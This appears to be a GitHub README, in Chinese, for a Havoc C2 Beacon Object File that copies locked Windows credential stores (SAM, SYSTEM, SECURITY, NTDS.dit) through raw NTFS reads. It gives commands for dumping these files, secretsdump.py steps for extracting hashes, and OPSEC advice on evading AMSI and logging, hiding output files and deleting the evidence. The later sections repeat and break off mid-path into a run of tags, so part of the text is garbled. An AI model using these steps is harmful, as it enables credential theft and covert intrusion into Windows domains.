Muz1K1zuM/UnderlayCopy_bof
GitHub: Muz1K1zuM/UnderlayCopy_bof
专为 Havoc C2 设计的 BOF,通过原始 NTFS MFT 解析复制被锁定的 Windows 系统文件,无需 VSS 或注册表 API。
Stars: 4 | Forks: 0
# UnderlayCopy BOF
用于 Havoc 的 Beacon Object File (BOF),通过解析 NTFS MFT 并读取原始卷扇区来复制被锁定/正在使用的系统文件(注册表配置单元、NTDS.dit 等),无需使用 VSS、Registry APIs 或标准文件 I/O。
这是将 [kfallahi 的 UnderlayCopy PowerShell 脚本](https://github.com/kfallahi/UnderlayCopy)(MFT 模式)移植到原生 BOF 的版本,移除了 PowerShell 依赖并显著减少了检测面。
## 工作原理
1. 通过 `NtAdjustPrivilegesToken` 在当前令牌上启用 `SeBackupPrivilege`
2. 通过 `GetFileInformationByHandle` 获取目标文件的 MFT 记录号
3. 以同步 `GENERIC_READ` 方式打开卷 `\\.\C:`
4. 读取 NTFS 引导扇区以获取 `clusterSize` 和 `$MFT` 偏移量
5. 读取 `$MFT` 记录 0 并解析其数据运行(MFT 在磁盘上不连续)
6. 使用 `$MFT` 运行映射将目标 MFT 记录号转换为真实 LCN
7. 读取目标文件的 MFT 记录并解析其 `$DATA` 属性和数据运行
8. 从磁盘读取原始簇并将其写入目标文件
## 系统要求
- **本地管理员**(提权)—— 不需要 SYSTEM
- 令牌中可用 `SeBackupPrivilege`(提权进程的默认设置)
- NTFS 卷(不支持 FAT32 或 ReFS)
- Havoc C2 框架
## 文件
```
UnderlayCopy_bof/
├── Underlay_bof.c # BOF source code
├── Underlay_bof.py # Havoc command registration script
├── Makefile # Cross-compilation with mingw-w64
├── beacon.h # Havoc BOF API header
└── README.md
```
## 构建
```
# 要求:mingw-w64
sudo apt install mingw-w64
# 编译
make clean && make
# 输出:Underlay_bof.o
```
编译器:`x86_64-w64-mingw32-gcc`
主要标志:
- `-fno-asynchronous-unwind-tables` —— 移除 `.eh_frame` 节
- `-fno-ident` —— 移除编译器元数据
- `-Os` —— 针对大小进行优化
## 用法
在 Havoc 中加载脚本:
```
Script Manager → Load → Underlay_bof.py
```
从代理控制台运行:
```
stealthcopy
```
### 示例
```
# Dump 本地账户哈希
stealthcopy C:\Windows\System32\config\SAM C:\Temp\out.sam
stealthcopy C:\Windows\System32\config\SYSTEM C:\Temp\out.system
stealthcopy C:\Windows\System32\config\SECURITY C:\Temp\out.security
# Dump Active Directory 数据库(在 DC 上)
stealthcopy C:\Windows\NTDS\NTDS.dit C:\Temp\out.dit
```
### 后渗透 —— 提取哈希
```
# 本地账户
secretsdump.py -sam out.sam -system out.system -security out.security LOCAL
# 域账户 (NTDS)
secretsdump.py -ntds out.dit -system out.system LOCAL
```
## OPSEC
### 与原始 PowerShell 脚本的对比
| 特征 | PS1 (kfallahi) | 此 BOF |
|---|---|---|
| AMSI 扫描 | ✅ 是 | ❌ 否 |
| ScriptBlock 日志 (EID 4104) | ✅ 是 | ❌ 否 |
| `powershell.exe` 进程创建 | ✅ 是 | ❌ 否 |
| Registry APIs (`RegSaveKeyEx`) | ❌ 否 | ❌ 否 |
| 原始卷读取 (`\\.\C:`) | ✅ 是 | ✅ 是 |
| 需要 SYSTEM | ❌ 否 | ❌ 否 |
### 建议
**目标路径** —— 避免使用明显的位置:
```
# 差
C:\Temp\SAM
# 较好
C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\.tmp
```
**执行上下文** —— 从合法执行备份 I/O 的进程(例如,以 SYSTEM 身份运行的备份代理)运行,使该模式与正常活动无法区分。
**清理** —— 窃取后删除输出文件:
```
stealthcopy C:\Windows\System32\config\SAM C:\Temp\out.tmp
download C:\Temp\out.tmp
shell del /f C:\Temp\out.tmp
```
### Credential Guard
Credential Guard 保护 `lsass.exe` 中的 **内存凭据**。它对文件系统级访问没有影响 —— 此技术从磁盘读取文件,不受 Credential Guard 影响。
## 限制
- 卷硬编码为 `C:` —— 如需其他驱动器号,请修改源代码中的 `vol[]`
- 不支持备用数据流 (ADS)
- 假定 MFT 记录大小为 1024 字节(所有现代 NTFS 卷的标准)
- 不应用 MFT 修复 (Update Sequence Array) —— 实践中可正常工作,但在严重碎片化的记录上可能会失败
## 致谢
基于 [@kfallahi](https://github.com/kfallahi) 的 [UnderlayCopy](https://github.com/kfallahi/UnderlayCopy) —— MFT 模式移植为 Havoc BOF。
### 后渗透 —— 提取哈希
```
# 本地账户
secretsdump.py -sam out.sam -system out.system -security out.security LOCAL
# 域账户 (NTDS)
secretsdump.py -ntds out.dit -system out.system LOCAL
```
## OPSEC
### 与原始 PowerShell 脚本的对比
| 特征 | PS1 (kfallahi) | 此 BOF |
|---|---|---|
| AMSI 扫描 | ✅ 是 | ❌ 否 |
| ScriptBlock 日志 (EID 4104) | ✅ 是 | ❌ 否 |
| `powershell.exe` 进程创建 | ✅ 是 | ❌ 否 |
| Registry APIs (`RegSaveKeyEx`) | ❌ 否 | ❌ 否 |
| 原始卷读取 (`\\.\C:`) | ✅ 是 | ✅ 是 |
| 需要 SYSTEM | ❌ 否 | ❌ 否 |
### 建议
**目标路径** —— 避免使用明显的位置:
```
# 差
C:\Temp\SAM
# 较好
C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\标签:BOF, C2框架扩展, Conpot, Havoc C2, MFT解析, NTDS.dit, NTFS, Raw Disk Access, SAM数据库, SeBackupPrivilege, Windows安全, 中高交互蜜罐, 凭据窃取, 客户端加密, 恶意软件开发, 文件拷贝, 欺骗防御, 绕过防御, 避风